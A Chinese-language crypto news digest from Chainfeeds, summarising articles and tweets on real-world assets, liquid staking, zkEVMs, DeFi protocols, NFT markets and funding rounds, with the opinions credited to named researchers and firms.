    Chainfeeds 导读： IOBC Capital 研究经理 0xCousin 撰文从现实世界资产（RWA）的基本概念和其在 DeFi 中的常见应用形式出发，以 MakerDAO 和 Centrifuge 作为案例进行详细解析，最后对 RWA 的机会和风险提出见解，认为代币化的 RWA 可能是 DeFi 的下一个引擎。 文章来源： https://mp.weixin.qq.com/s/ZVWIRsCllVIieMZQi4Q2ag 文章作者： 0xCousin 观点： 0xCousin：RWA 在 DeFi 中的常见应用形式：1）稳定币：发行公司通过维持经过审计的美元资产储备，铸造稳定币供区块链及 DeFi 协议使用；2）合成资产：如通过合成资产的形式将股票、商品等以挂钩衍生品的形式进行链上交易。目前该领域发展最好的是 Synthetix，2021 年牛市巅峰期其协议中锁定了价值超 30 亿美元的资产；3）借贷协议：借款人以 RWA 作为抵押品进行借贷。RWA 为 DeFi 借贷协议的可持续发展和营收规模带来了非常重要的积极作用。 内容来源 0xCousin：RWA 的信任假设：由于 Tokenization 的 RWA 毕竟是在链下，无法通过智能合约强制执行清算处理，还依赖于传统金融机构背书，这些 RWA 的信任属性可能永远无法与 Crypto Native Asset 达到同等级别。同时，由于 RWA 信任假设的存在，完全无许可的 DeFi 协议也很难支持 RWA，所以目前的 RWA Tokenization 项目在 RWA 资产处理上一般还是有中心化主体的作用和影响。 内容来源 0xCousin：RWA 的潜在机会：STO（Security Token Offerings）历来被视为 RWA 的有限实施。由于很多 STO 通常是仅在许可平台上可用的利基证券，因此它们的采用尚未达到与公链上的 RWA 相同的水平。目前 STO 是区块链行业里为数不多被监管认可的资产代币化方案，STO 在拥抱监管方面的发展路径，可能 RWA 也可以尝试探索。 内容来源  ( 32 min )
    【英文】Noble：为原生资产发行而设计的 Cosmos Appchain
    Chainfeeds 导读： Noble Appchain 于 3 月 27 日上线，目标是成为「全球首屈一指的互操作性数字资产发行中心」。加密资产和 RWA 都可以在其上发行，是有史以来第一个为广义资产发行而设计的基础设施。加密研究员 Sooper 从 Noble 可以解决的问题、目标愿景、工作机制、代币经济模型等方面对其进行了全面解读。 文章来源： https://mirror.xyz/0x524f1E4B8E21558B3c42650f39E65d2041466F02/pj1_sTjNp5kkT0NluubyRDqivXrCJWn1UgFAunLf9qY 文章作者： Sooper 观点： Sooper：Noble 是专为 Cosmos 生态系统中原生资产发行而设计的特定应用区块链（Appchain），意味着 Cosmos 可以直接在 Noble Appchain 上铸造和销毁资产，不再被迫依赖代币桥将非原生资产引入其生态系统，彻底改变了 Cosmos 对桥接流动性的依赖。发行商可使用 Osmosis 的 TokenFactory 框架轻松地在 Noble 上部署其代币，且可在 IBC 生态系统中无缝转移。【原文为英文】 内容来源 Sooper：Noble 的基础设施为资产发行商提供了完全控制权，Circle 和 Tether 等公司可以保持其合规模式。Noble 使用 Cosmos SDK 构建，支持 IBC，可连接到生态中其他 IBC Appchain，其搭建的「网关」将大大提高 IBC 原生，特别是稳定币的流动性。该网络使用「数据包转发」中间件，允许单笔交易 IBC 转移至任何 Appchain，用户不需要跨多个 Appchain 进行交易，极大改善了 IBC 转移的用户体验。【原文为英文】 内容来源 Sooper：Noble 计划在 Interchain Security 经过时间测试后采用，此前将使用权威证明（PoA）共识作为替代方案，为此已为 PoA 验证器集选择多个受信任的 Hub 验证器，行为不端的验证器将从 Noble 验证器集中永久删除。Gas 费可使用任何 Cosmos 资产，包括在 Noble 上发行的资产。由于 USDC 将率先推出，因此在更多资产部署到 Noble 之前，它将成为主要的 Gas 代币；新资产将通过 5/7 多重签名投票添加到链中。【原文为英文】 内容来源  ( 12 min )
    LD Capital：LSD 赛道长坡厚雪，稳定性与高增速贯穿整年
    Chainfeeds 导读： LD Capital 撰文从上海升级后行业整体成长空间、 4 种质押解决方案与不同 LSD 协议比选、DVT 赛道的定位和 LSD 资产对链上其他生态的影响 4 部分概览 LSD 赛道全景。 文章来源： https://ld-capital.medium.com/trend-research-by-ld-capital-lsd赛道长坡厚雪-稳定性与高增速贯穿整年-7f14a5355540 文章作者： LD Capital 观点： LD Capital：以太坊质押率的提升将带来 LSD 赛道整体协议费用上涨，长期来看 LSD 赛道的戴维斯双击仍未结束。当前以太坊质押率 14.56%，由于其他 POS 公链质押率大多超过 60%，故而对以太坊质押率的提升有较大的增长预期。从 P/F 估值角度来看，当前 LSD 赛道龙头标的 LDO 3.89 倍，相较老牌 Defi 协议 UNI 7.12 倍、AAVV 10.35 倍等仍有较大提升空间。 内容来源 LD Capital：上海升级之后，早期节点的退出与用户质押意愿的增强将为 LSD 协议的相互竞争提供条件。LSD 协议的相对市场份额或将发生变化，中期关注赛道龙头 Lido 与以 Frax 为代表的高收益率 LSD 协议，短期关注 Rocket pool Atlas 升级。 内容来源 LD Capital：目前以 SSV、Obol、Diva 为代表的 DVT 产品是以太坊质押的重要基础设施。DVT 产品旨在保证以太坊验证出块稳定性的同时提升网络去中心化程度，可降低节点运营成本，减少安全风险。SSV 的发展重在运营商网络的搭建，其代币作为网络支付手段与治理凭证捕获协议价值；Obol 的发展重在中间件适配性，而 Diva 的目标在于结合 LSD 与 DVT，打造一站式产品，目前处于开发早期。 内容来源 LD Capital：以太坊质押或将催生千亿规模的 lsdETH，在重构或冲击传统 Defi 协议收入结构的同时，围绕这一新资产类别构建的二层产品或将成为市场中新的 α。lsdETH/ETH 的流动性构建或将为 Curve、Balancer 等 DEX 带来新的业务增量；但以太坊质押收益可视为链上币本位的无风险收益率，它的出现将提高链上流动性成本，对存款池类型的借贷产品形成利空，CDP 模式借贷受影响相对较小。未来围绕这一生息资产构建的再质押、收益聚合、本息分离、杠杆协议等产品都将受益于底层资产的庞大规模。 内容来源  ( 4 min )
    去中心化以太坊质押基础设施 ssv.network 推出公共测试网 Jato
    去中心化以太坊质押基础设施 ssv.network 推出公共测试网 Jato 去中心化以太坊质押基础设施 ssv.network 宣布推出最新版本的公共测试网 Jato，朝去中心化以太坊 PoS 共识愿景迈出最后一步。 Jato 的主要改进包括：验证者链上注册 Gas 成本优化、改进验证者账户管理、增加运行验证者节点数量等。 此外，ssv.network 称，测试网 Shifu 将逐步关闭。主网则将在智能合约安全审计、性能改进、为 Jato 实施反馈和建议以及上线候选版本等几个步骤完成后发布。 内容来源  ( 14 min )
    【英文长推】dHEDGE 正式收购 mStable：回顾第一笔公开链上并购交易
    Chainfeeds 导读： mStable 战略负责人 0xloth 发文回顾 mStable 自 2022 年底面临挑战后的应对方案以及 dHEDGE 收购 mStable 的全过程，并对双方未来合作提出展望。 文章来源： https://twitter.com/0xloth/status/1640742058229891074 文章作者： 0xloth 观点： 0xloth：2022 年底，mStable 面临着原生代币 MTA 贬值和跑道缩短导致的重大挑战，促使社区成员和利益相关者提出关闭或收购方案，mStable 开放六周时间考虑未来方向。在此期间，mStable Builder subDAO（mStable 核心运营单位）将重点转移到促进并购谈判，帮助制定治理建议并准备最后的关闭方案，与 30 多个团队进行了沟通，领导了完整的并购流程，还充实了产品日落计划和财务资产战略，以防并购失败。【原文为英文】 内容来源 0xloth：六周时间结束时，四份并购提案被提交至论坛，分别来自 Idle DAO、Origin Protocol、Spool 和 dHEDGE。这四份提案在国库估值、溢价、归属条款、产品愿景过渡、团队迁移规模、赎回功能等方面有很大不同。按照 MIP 29 的规定，在其基础上增加了关闭程序，为 MTA 持有者提供了关于 mStable 未来的最大选择权。95.9% 的 mStable 社区投票支持 dHEDGE，为成功和迅速的并购奠定了基础。【原文为英文】 内容来源 0xloth：此次收购也是对 mStable 的创新堆栈（mUSD 稳定币和 ERC-4626 驱动的 Metavaults 基础设施）的验证，突出了其为 DeFi 用户带来巨大价值的潜力。通过与 dHEDGE 联手，mStable 将能够减轻原始结构性风险，为增长和成功开辟新道路。更广泛地说，这一并购过程展示了 DeFi 项目的弹性和适应性，证明了即使在熊市面对重大挑战，合作也可以推动成功。未来，mStable 和 dHEDGE 将继续合作，推进 DeFi 生态系统，为用户和利益相关者提供尖端解决方案和价值。【原文为英文】 内容来源  ( 2 min )
    【英文长推】解析 Immutable zkEVM：使用 zk 技术构建 EVM 兼容游戏
    Chainfeeds 导读： 借助 Polygon 和 Immutable 两个巨头合作推出的 Immutable zkEVM，Web3 游戏可以在 zk 技术的帮助下构建 EVM 兼容游戏，这大大丰富了 Web3 游戏的未来。加密研究员 Salazar 发推阐述 Web3 游戏的潜力，并对 Immutable zkEVM 的优势进行分析。 文章来源： https://twitter.com/0xSalazar/status/1641039014441435139 文章作者： Salazar 观点： Salazar：据 DappRadar 数据，Web3 游戏占所有 dapp 活动的 49%，平均每天有 115 万个活跃钱包和 74 亿笔交易。Coda Labs 的一项调查显示，75% 的游戏开发者希望在未来从事 web3 游戏。随着 Polygon zkEVM 上线和 Immutable zkEVM 在未来几个月推出，我们可以期待看到技术创新解锁 web3 游戏中未触及的领域，如多人游戏。【原文为英文】 内容来源 Salazar：Immutable zkEVM 是一个用于游戏的 EVM zk-rollup，允许开发者使用和以太坊上相同的代码和工具，但具有更高的吞吐量和更低的费用。这为开发者提供了更高的可定制性和灵活性，以构建具有自定义智能合约、丰富经济和链上功能的游戏。开发者可以为主流玩家建立无摩擦和安全的体验，同时通过全套 Immutable 产品和经过审计的智能合约模板最大化对其资产的需求。【原文为英文】 内容来源 Salazar：Immutable zkEVM 利用开源以太坊智能合约库，轻松地将新工具和功能整合到游戏中，而无需承担单一生态系统或解决方案的风险。利用 Immutable zkEVM，开发者可以构建他们想要的任何东西，包括 NFT 金融化用例、游戏内机制、随机化等等。【原文为英文】 内容来源  ( 2 min )
    香港加密基金 ProDigital Future Fund 拟筹集 1 亿美元，以投资数字资产初创公司
    香港加密基金 ProDigital Future Fund 拟筹集 1 亿美元，以投资数字资产初创公司 据彭博社报道，香港加密基金 ProDigital Future Fund 计划于今年筹集 1 亿美元用于投资数字资产初创公司。该基金由亚洲私募股权公司 SAIF Partners 风险合伙人 Ben Ng 和长期科技投资者 Curt Shi 领导，已获得至少 3000 万美元资金承诺。参与首轮资金募集的包括 Sunwah Kingsway Capital Holdings Ltd. 和 Golin International Group Ltd.。 截至目前，该基金已投资六个数字资产项目，包括总部位于香港的元宇宙公司 GigaSpace 和总部位于澳大利亚的数字体育俱乐部 One Future Football。 内容来源  ( 2 min )
    【英文长推】Kwenta 交易费用创历史新高，一文探究其背后原因
    Chainfeeds 导读： 去中心化衍生品平台 Kwenta 的日交易费用在前几天达到了历史新高约 37 万美元。加密研究员 vanillacream.eth 撰文对 Synthetix V2 版本如何推动 Kwenta 交易量上涨进行了分析解读。 文章来源： https://twitter.com/0xvanillacream/status/1641077824462393345 文章作者： vanillacream.eth 观点： vanillacream.eth：Kwenta 是一个由 Synthetix 提供支持的去中心化衍生品交易平台，交易者在该平台上可以针对 Synthetix 债务池进行交易。 Synthetix 推出 V2 版本后，通过新的链外预言机系统和调整后的资金利率机制改善了资产兼容性和执行费用，这也推动了 Kwenta 上的交易量上涨。【原文为英文】 内容来源 vanillacream.eth：Synthetix V2 主要由两个重大更新，一个新的收费模式和一个更快的预言机。V2 中的资金费用随着时间的推移进行动态调整以平衡空头和多头，并确保交易者根据市场需求和供应公平支付或获得资金。Synthetix V2 还引入了 Pyth Network 预言机，优势包括更实时的价格反馈及消除了运行和套利的机会。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻 | 非托管利率互换做市商 Voltz：如何将 Uniswap V3 的集中流动性引入利率互换赛道？
    Chainfeeds 导读： DeFi 利率市场还处于早期阶段，但已经有团队在试图构建新的 DeFi 原语了，例如 Voltz，允许基于 AMM 的杠杆利率互换。加密研究员 563 撰文从 Uniswap V3 集中流动性机制聊起，对 Voltz 的优势进行了解读。 文章来源： https://twitter.com/563defi/status/1640713905927487490 文章作者： 563 观点： 563：Voltz 正在创建跨行业的新型 DeFi 利率市场，通过使用 Uniswap V3 的集中流动性模型让 LP 存款的资本效率更高。具体而言，通过 Voltz，LP 可以决定提供的流动性的利率上限和下限。且由于资本得到了更有效的利用，LP 能够从 700 万美元的存款中供应约 16 亿美元的名义流动性。【原文为英文】 内容来源 563：目前用户可以交换的利率包括：1）稳定币收益率：Aave（USDC 和 DAI）和 Compound Labs（DAI）；2）借贷市场：Aave（USDC 和 ETH）和 Compound（USDT）；3）以太坊质押：Lido（stETH）和 Rocket Pool（rETH）；4）真是收益率：GMX（GLP）。【原文为英文】 内容来源  ( 2 min )
    【英文长推】探讨 EIP-4337 和 zkSync Era 的原生账户抽象之间的区别
    Chainfeeds 导读： 账户抽象是以太坊社区的重大飞跃。 zkSync Era 建立在 EIP-4337 的愿景之上，在协议层面上实现了账户抽象。zkSync 撰文探讨了 EIP-4337 和 zkSync Era 的原生账户抽象之间的区别。 文章来源： https://twitter.com/zksync/status/1641047524810330114 文章作者： zkSync∎ 观点： zkSync∎：什么是账户抽象 （AA）？AA 允许开发智能合约帐户，由于在开发任何类型的逻辑时具有充分的灵活性，因此可以更顺畅地启动、改进用户体验和更高的安全性。AA 将 web2 的灵活性与 web3 的自主权相结合。【原文为英文】 内容来源 zkSync∎：随着 EIP-4337 在以太坊主网上的运行，CA 将名为 UserOperations 的 tx 发送到一个单独的内存池，捆绑者在该内存池中打包并将它们发送到 EntryPoint 合约以执行。然而，为了避免硬分叉，EIP-4337 不得不做出一些妥协：1）为 EOA 和 CA 分开的 tx 流；2）分开的内存池；3）分开的验证者 / 捆绑者角色；4）EOA 不能使用 Paymasters。我们从 EIP-4337 中获得灵感，通过在协议级别集成 AA 对其进行了改进。这意味着：1）单一 tx 流、内存池和验证者 / 捆绑者角色；2）EOA 也可以使用 Paymasters。【原文为英文】 内容来源  ( 2 min )
    Binary DAO：Polygon zkEVM 的整体架构和交易执行流程
    Chainfeeds 导读： 3 月 27 日，Polygon zkEVM 主网测试版本正式上线，Vitalik 在上面完成了第一笔交易。Binary DAO 梳理了 Polygon zkEVM 的核心机制，并分析了它实现以太坊计算扩容的可行性。 文章来源： https://mp.weixin.qq.com/s/R01lL7-2kGqJLkswwdQ_tw 文章作者： 0xhhh 观点： 0xhhh：Polygon zkEVM 的整个工作过程可以主要分为三个步骤：1）Sequencer 将多个用户交易打包成 Batch 提交到 L1 的合约上；2） Prover 为每笔交易生成有效性证明，并将多个交易的有效性证明聚合成一个有效性证明；3）Aggregator 提交聚合了多个交易的有效性证明到 L1 的合约中。 内容来源 0xhhh：实际上 Sequencer 做了类似以太坊 Proposer 的工作，提议了一批交易是有效交易，并且给出了这批交易执行后的新状态；而 L1 合约的验证逻辑，相当于所有 L1 的 Validator 都会在自己的以太坊客户端里执行一遍，实际上是所有的以太坊验证者充当了 Rollup 的验证者，因此我们认为 Polygon zkEVM 继承了以太坊的安全性。 内容来源  ( 33 min )
    【英文长推】新项目前瞻｜由 ConsenSys 支持的 zkEVM：Linea
    Chainfeeds 导读： Linea 是一个由 ConsenSys 支持的 zkEVM，可以在 MetaMask 中访问，提供了一个业界领先的 EVM 等效证明应用。Linea 产品经理 Edclan Fox 详细介绍了此项目。 文章来源： https://twitter.com/declanfox14/status/1640663584114892800 文章作者： Edclan Fox 观点： Edclan Fox：Linea 证明了未经改变的 EVM 字节码，保留了标准 Solidity 编译器和以太坊 JSON-RPC 接口。这意味着在构建集中或不可扩展的 EVM 链上时，开发人员没有任何切换成本。这也意味着想要构建的新构建者来说没有平台锁定，并且无需维护定制代码并使用自定义工具来接触他们的用户。【原文为英文】 内容来源 Edclan Fox：等效于 EVM 是否会牺牲性能？不会。ConsenSys 的 zkEVM 基于格子结构证明器使用递归提供无与伦比的证明性能。之前进行过基准测试，在 4.5 分钟内完成 30M gas，并且今年有一条清晰路径可以实现 5-10 倍增长。Linea 将成为开发人员和用户进入 web3 的门户。在 MetaMask 扩展程序中列出 Linea testnet 作为默认网络，使数百万用户在不知情的情况下接入 L2 和以太坊。【原文为英文】 内容来源  ( 2 min )
    【长推】Blur 毁了 NFT 市场还是为其带来真正长期的繁荣？
    Chainfeeds 导读： Blur 推迟减半收益一个月，引起矿工和 NFT 玩家的不满。有人指责 Blur 毁了 NFT 市场，认为它让玩 NFT 从收藏变成了交易和刷空投的游戏，并导致巨鲸控制市场价格和地板价下跌。加密货币 KOL 0xWizard 认为流动性改善可以吸引更多大户参与并带来真正长期的繁荣。 文章来源： https://twitter.com/0xcryptowizard/status/1640970537429262337 文章作者： 0xWizard 观点： 0xWizard：我的思考和疑惑：1）如果你是 collector，似乎不必去关注价格的短期波动，以及社区里其他人的想法，跟价值观同样的人一起做收藏就好了；2）巨鲸控制市场价格这件事，其实在哪里都一样，cex 的币价也是一样的，只是没有像链上这么一目了然罢了；3）floor price 下跌，无非是之前的 NFT 巨鲸流动性不好，出货不方便，跌的慢一点。烂项目，早晚会归零；真的好项目，也不怕短期砸盘。blur 带来的改变，是为 NFT 引入流动性，大户更容易参与了，短期看，缺点是巨鲸操控价格 /floor 波动剧烈。 内容来源 0xWizard：如果这个模式成立，在我看来，长期对于 NFT 市场利大于弊：对于某些 NFT，艺术属性为主；很大一部分 NFT，金融和交易属性为主。对于后者来说，流动性的改善，让任何人（尤其是大户 / 巨鲸）能够方便的进出，才能为市场带来更多新鲜的流动性。曾经 os 模式，牛市大户都不敢进入，缺乏流动性。不该对 blur 只是指责，还应该多一点包容和进一步的观察，好的流动性才能带来 NFT 的真正长期繁荣。 内容来源  ( 2 min )
    【英文长推】可组合性趋势探索：软件工程、金融、模块化及安全性
    Chainfeeds 导读： 可组合性是指通过各种方式将不同模块进行组合以创建更复杂的系统或应用。IOSG 投资助理 Jiawei 在 ChatGPT 的帮助下总结了一些关于可组合性趋势的想法，并表示由于功能模块化和专业化程度的提高，未来「整体大于部分之和」将成为可能。 文章来源： https://twitter.com/Elegy4TheArctic/status/1641110535600209920 文章作者： Jiawei 观点： Jiawei：1）软件工程中的可组合性：软件工程中的可组合性通常涉及到不同应用活系统中组合、集成和重用的组件及服务，可组合的系统通常被涉及称模块化，有明确的接口和清晰的责任分工，该可组合性可以加快开发周期、降低开发成本并提高系统的灵活性和可扩展性；【原文为英文】 内容来源 Jiawei：2）可组合的金融：DeFi 的可组合性来源于其模块化设计，由不同的协议、智能合约和应用程序组成，可以相互调用和组合以实现更复杂和更丰富的金融功能，还允许开发者快速创建自己的智能合约和应用程序并与其他 DeFi 协议和应用程序结合创新新的产品和服务；【原文为英文】 内容来源 Jiawei：3）可组合的模块化：例如作为执行层，Rollup 可将 DA 外包给不同的解决方案（Celestia、EigenDA 或以太坊），在系统设计和实施方面提供了极大的灵活性和定制化；4）可组合的安全性：EigenLayer 利用以太坊的安全性，Babylon 则利用比特币的安全性。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点 Optimism 生态里主要的永续交易协议：Mummy Finance、Perpetual Protocol、Pika Protocol...
    Chainfeeds 导读： Optimism 上的永续协议正在增加，这些协议的交易量自 2023 年初以来也一直在增加。加密货币 KOL Subli 将 Optimism 上的永续协议与其他链上进行对比，并对 Optimism 主要的永续协议在资产、杠杆、实际收益率和领先优势特征方面进行了比较。 文章来源： https://twitter.com/subli_defi/status/1641052434654195712 文章作者： Subli 观点： Subli：Mummy Finance：1）资产 / 杠杆：5 倍资产可用 / 最高 100 倍；2）实际收益率：交易费用的 60% 归流动性提供者，5% 归国库，30% 归 MMY 持有者；3）领先优势：GMX 的最大 TVL 分叉。由于 MLP 池没有价格影响。【原文为英文】 内容来源 Subli：Perpetual Protocol：1）资产 / 杠杆：18 倍资产可用 / 最高 10 倍；2）实际收益率：交易费用的 80% 归流动性提供者，5% 归国库，15% 归 vePERP 持有者；3）领先优势：原生 Optimism 永续协议。新型被动挖矿解决方案，引入 Hot Tub 存储库以在 Optimism 上进行永续市场和 Dexe 之间的价格套利。【原文为英文】 内容来源 Subli：Pika Protocol：1）资产 / 杠杆比例：25x 资产可用 / 最高 100 倍；2）实际收益率：70％ 的交易手续费给流动性提供者，30％ 给协议；3）领先优势：加密货币和外汇交易。尚未推出代币。【原文为英文】 内容来源  ( 2 min )
    音乐 NFT 交易所 Muverse 完成 600 万美元种子轮融资
    音乐 NFT 交易所 Muverse 完成 600 万美元种子轮融资 据 APnews 报道，音乐 NFT 交易所 Muverse 完成 600 万美元种子轮融资，Syndicate Capital、Knights Templar Capital、Zonff Partners、AvatarDAO、Sun Artland Ltd 参投。所筹资金将用于扩大平台的功能和服务，加速用户获取，并提升用户体验。 Muverse 是一个社区驱动的音乐 NFT 交易平台和多合一应用，允许世界各地的音乐艺术家、投资者和粉丝参与音乐 NFT 交易。该平台为用户提供游戏化的互动、投资和收入场景，包括一个结合收益模型的节奏游戏，以及一个为用户提供充足流动性的 NFT 交易所。该平台正在开发其第二阶段的产品，其中将包括音乐 NFT 交易所、NFT 碎片化功能和用于其 F-NFT/MCT 交易的 AMM 池。 内容来源  ( 12 min )
    【英文长推】Solana 优缺点权衡：会成为下一个 EOS 吗？
    Chainfeeds 导读： 2022 年，由于市场环境及 FTX 的崩盘等因素，Solana 在 TVL 等指标上遭遇了大幅下跌。加密研究员 hangry 在分析了 Solana 的优缺点后，认为虽然 Solana 的情况看起来很糟糕，但对于生态系统而言，是一个新的发展机遇，且 Solana 正变得更具可组合性。 文章来源： https://twitter.com/kindahangry/status/1640987186265997312 文章作者： hangry 观点： hangry：优势：1）Solana 正在解决新用户的无缝入驻问题；2）虽然 L2 已经改善了以太坊的可扩展性，但仍需要时间，Solana 在交易成本和吞吐量方面仍具有优势；3）Solana 的用户体验最简单，当然随着以太坊账户抽象化和钱包改进的发展可能会发生改变；4）Solana 在 NFT 方面具备独特的生态系统和社区优势。【原文为英文】 内容来源 hangry：存在的问题：1）Solana 原生项目一直在向其他链扩张，但该现象非 Solana 独有；2）2021 年至 2022 年期间，Solana 频繁宕机，但大多数情况下已经通过本地化收费市场得到了解决；3）缺乏节点去中心化，但由于 Solana 的目标是零售层，因此该问题并没有很重要。【原文为英文】 内容来源  ( 2 min )
    【英文长推】速览 Arbitrum 生态 AMM 协议 Chronos：有何独特之处？
    Chainfeeds 导读： Chronos 是 Arbitrum 生态 AMM 协议，它引入了零回溯模型和成熟度 LPs 等创新功能，能够降低通货膨胀，并且通过奖励在平台上保持较长时间的资金的用户创造稳定和粘性的流动性。加密研究员 hoeem 对该协议的独特支持进行了分析解读。 文章来源： https://twitter.com/crypthoem/status/1641226333878403073 文章作者： hoeem 观点： hoeem：1）Zero Rebase 的重要性：Rebasing 并没有创造更多收益或收入，而是改变了每个投票者代币的收入比例，流动性提供者激励受到了负面影响，因为较高的 APY 促使代币价格上涨，随着时间的推移（1 至 4 年），DEX 必须产生更多收入以维持 DEX 代币的定价；【原文为英文】 内容来源 hoeem：2）veNFT 流动性机制：旨在通过追踪流动性提供者的代币贡献、质押份额及期限来激励他们的长期承诺，即通过鼓励早期质押来支持新项目促进其流动性池和用户群的增长；3） Chronos 使用独特的模式在 Arbitrum 上创建了一个流动性层：veNFT 激励流动性供应者维持其头寸，反过来也使得流动性池通过使用 NFT 表示和改变提供者和贿赂者的博弈理论而让流动性池更具粘性。【原文为英文】 内容来源  ( 2 min )
    【英文】从比特币减半周期聊起：我们是否处在买入比特币的最佳阶段？
    Chainfeeds 导读： 比特币的供应需求机制为比特币创造了一个时间窗口，每四年一次。加密研究员 Jesse Myers 在分析了比特币每次减半前后的价格走势后，认为现在比特币的价格底部已经形成，现在是积累比特币的最佳时机。 文章来源： https://jessemyers.substack.com/p/bitcoin-this-is-the-moment-youve 文章作者： Jesse Myers 观点： Jesse Myers：比特币在 2012 年、2016 年及 2020 年经历了三次减半，而在减半之后的 12 至 18 个月里，比特币经历了它的主要牛市。如果我的理解是正确的，现在是比特币 4 年周期底部之后的时间窗口，这意味着底部已经形成，目前比特币的价格仍低于将趋向的供需「价格平衡点」。如果这些都是正确的，比特币的价格在未来一年可能会稳定在 30000 至 45000 美元范围内。【原文为英文】 内容来源  ( 16 min )
    NFT 的大规模采用会因用户热爱 IP 而来：胖企鹅 CEO 分享 Web3 IP 的商业模式设计
    Chainfeeds 导读： 同样是 PFP 项目，在 Doodles 及 Moonbirds 不断缩水的同时，胖企鹅的交易量和地板价却一直在逆势上扬，不得不让人好奇它究竟做对了什么？加密研究员 starzq 及 Ruby Wang 对胖企鹅 CEO Luca Netz 的采访进行了研究并梳理了他对打造 Web3 IP 与商业模式的思考。 文章来源： https://web3brand.substack.com/p/pudgy-penguins-luca-netz 文章作者： starzq 及 Ruby Wang 观点： starzq.eth：想要赢得成功，就需要构建一个可持续的，可增长的收入来源。熊市中靠版税和新发是很难存活的。Luca 选择了 IP 衍生品，他从接管胖企鹅开始，就着手操作 IP 授权和商品企划相关事宜，同时与用户创造情感连接。 内容来源 Rubywang.eth：胖企鹅的变现之路：ToB 合作授权先行，ToC 提升品牌影响力，最终提升直接销售占比。具体在运作上，胖企鹅有些不错的巧思，总结以下三个出彩点：1）善于利用社交媒体和优秀的 meme 传播能力；2）短平快的内容先行，利用影响力做授权变现；3）品牌的成功和商业价值与 NFT 持有者分享。 内容来源 Rubywang.eth：Luca 对胖企鹅的长期目标是「创建世界上第一家伟大的 Web3 IP 公司，及成为第一个全球公认的品牌和 IP 之一。」我的思考是，我们做好我们擅长的，让我们创造一个巨大的差距。然后他们会来找我们做他们最擅长的事情，我们可以将彼此擅长的事情融合，去建立合作伙伴关系。 内容来源  ( 9 min )
    【英文长推】LSDFi 叙事探讨：为什么看好 Zero Liquid？
    Chainfeeds 导读： 上海升级后，将会有数十亿美元的资金以 ETH 衍生品的形式流入 DeFi 领域，很多人称这是 LSD 的第二个叙事场景。 Zero Liquid 能够通过 LSD 代币获得自主偿还的 0 利率贷款，且没有清算风险。加密研究员 Road2Crypto 撰文对该协议的优缺点进行了分析并概述了他看好的理由。 文章来源： https://twitter.com/CryptoDamus411/status/1641043533498023936 文章作者： Road2Crypto 观点： Road2Crypto：我看好 ZERO 的三个原因：1）流动性较好且锁仓一年，不仅对鲸鱼友好，而且降低了波动性；2）代币通过膨胀率低：大部分代币仍然被锁仓或属于开发者及社区，最大的风险我认为是 LP 激励；3）代币分配上，最大的私人持有者仅持有 12.4 万美元，这大大降低了波动性及风险。【原文为英文】 内容来源 Road2Crypto：Zero Liquid 优势：1）先行者；2）LSDFi 作为新兴市场具有巨大潜力；3）即将推出；4）具备卓越流动性及代币效用；5）目前持有者仅有 555 名；6）对鲸鱼友好。Zero Liquid 缺点：1）尚没有可用产品；2）匿名团队。【原文为英文】 内容来源  ( 2 min )
    【英文】Silent Protocol 提出 EZEE 框架：如何改善现有隐私方案困境？
    Chainfeeds 导读： Silent Protocol 正在申请 EZEE 框架专利，这有可能会改变用户与加密货币应用程序的互动方式。加密研究员 Billl 在进行研究后撰文对现有隐私解决方案的缺点及 Silent Protocol 提出的 EZEE 能够解决什么问题进行了解析。 文章来源： https://lenster.xyz/posts/0x09ee-0x53 文章作者： Billl 观点： Billl：现有隐私解决方案的一个缺点是它们会遭遇被称为「State Denial（状态拒绝）」的条件。而 Silent Protocol 提出的 EZEE（Economical Zero Knowledge Execution Environment），是一个保护隐私的计算框架，通过隔离加密层和执行层来保护隐私解决了该问题。【原文为英文】 内容来源 Billl：EZEE 允许用户通过「环境」或执行筒仓进行不同的终端合约操作，这使得用户能够与整个系统互动，而非单一功能。但我还存在一些疑问，例如虽然 EZEE 允许 Silent 以一种有意义的方式将隐私植入以太坊和其他公共区块链，但尚不清楚它们是如何考虑匿名中继的。我的理解是在 Silent 上的执行筒仓进行操作时无需任何中继。【原文为英文】 内容来源
    知情人士：Coinbase 正与监管机构就继续在加拿大开展业务进行谈判
    知情人士：Coinbase 正与监管机构就继续在加拿大开展业务进行谈判 据 CoinDesk 援引知情人士报道，随着加拿大收紧对加密交易所的规定，Coinbase 正在与监管机构就继续在加拿大开展业务进行谈判。Coinbase 通讯主管 Elliott Suthers 在给 CoinDesk 的声明中表示，Coinbase 将继续像以前一样将加拿大市场作为其国际路线图中的核心组成部分。此外，据另一位知情人士表示，币安或将退出加拿大市场。随后币安发言人表示，币安还没有做出明确计划。且正在积极与加拿大证券管理部分寻求注册。据第三位知情人士表示，Crypto.com 也计划继续在加拿大开展业务，而 Blockchain.com 向 CoinDesk 证实将离开加拿大市场，Deribit 也告知客户即将离开。 内容来源  ( 29 min )
    专注于人工智能的加密协议 Fetch.ai 获 DWF Labs 4000 万美元投资
    专注于人工智能的加密协议 Fetch.ai 获 DWF Labs 4000 万美元投资 专注于人工智能的加密协议 Fetch.ai 获 DWF Labs 4000 万美元投资，所筹资金将用于部署去中心化机器学习、自主代理和网络基础设施。 据 CoinDesk 介绍，Fetch.ai 旨在通过提供一个自主机器对机器的生态系统，为开发者提供部署和盈利的工具。此前于 2 月与电子巨头 Bosch 达成合作共同成立基金会，研究及开发区块链技术在交通、酒店和商业等领域的应用案例。 内容来源 观点： Andrei Grachev（DWF Labs 管理合伙人 ）：Fetch.ai 的形式为构建和部署具有自动化和人工智能能力的点对点应用程序提供了全面的解决方案。【原文为英文】 内容来源  ( 28 min )
    Aptos 生态 DeFi 基础设施协议 Econia Labs 完成 650 万美元 A 轮融资，Dragonfly 领投
